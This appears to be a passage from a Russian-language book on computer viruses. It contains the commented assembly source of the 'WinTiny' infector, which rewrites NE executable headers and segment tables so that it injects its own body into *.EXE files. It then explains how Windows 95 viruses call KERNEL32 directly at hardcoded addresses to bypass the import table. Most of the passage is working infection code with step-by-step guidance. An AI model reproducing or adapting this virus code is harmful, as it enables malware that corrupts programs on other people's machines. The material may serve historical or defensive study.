;Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Запишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx,OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на начало нового
;заголовка (его переместили на 8 байт к началу файла)
mov dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21h
;Запишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на 8 байт
;вперед – к началу таблицы сегментов
xor cx,cx
mov dx,8
mov ax,4201h
int 21h
;Рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx,WORD PTR [new_hdr+1ch]
dec cx
shl cx,3
push cx
mov ah,3Fh
int 21h
;Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,–1
mov ax,4201h
int 21h
;Запишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop cx
mov ah,40h
int 21h
;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor cx,cx
xor dx,dx
mov ax,4201h
int 21h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
;Получим длину файла, переместив указатель
;чтения/записи в конец файла
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx,WORD PTR [new_hdr+32h]
mov ax,1
shl ax,cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov cx,ax
pop ax
pop dx
div cx
;Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;Заполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop cx
;Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21h
;Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov cx,8
mov ah,40h
int 21h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой−то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov cx,OFFSET vir_end
cld
rep movsb
push es
pop ds
;Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+relocIP],0
mov WORD PTR [si+relocCS],0FFFFh
;Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h
;Запишем тело вируса в файл
mov dx,OFFSET temp
mov cx,OFFSET vir_end
mov ah,40h
int 21h
;Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET relocIP
;Запишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov cx,10
mov ah,40h
int 21h
;Закроем файл
mov ah,3Eh
int 21h
;Освободим выделенный блок памяти
call free
;Запустим программу−носитель
jmp exit
;Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
int 31h
ret
free ENDP
;Маска для поиска файлов
wild_exe DB "*.EXE",0
;Имя вируса
DB "WinTiny"
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
;Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
old_hdr DB 40h dup (?)
;Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
;Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
;Перемещаемый элемент
reloc_data DW ?
DB ?
DB ?
DW ?
;Значение оригинальной точки входа
host_cs DW ?
host_ip DW ?
;Область памяти для использования
temp DB ?
END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.
Вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call API_FUNCTION_NAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah ;инструкция call dd ???? ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL

Соглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL−модуля
LPCSTR lpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке: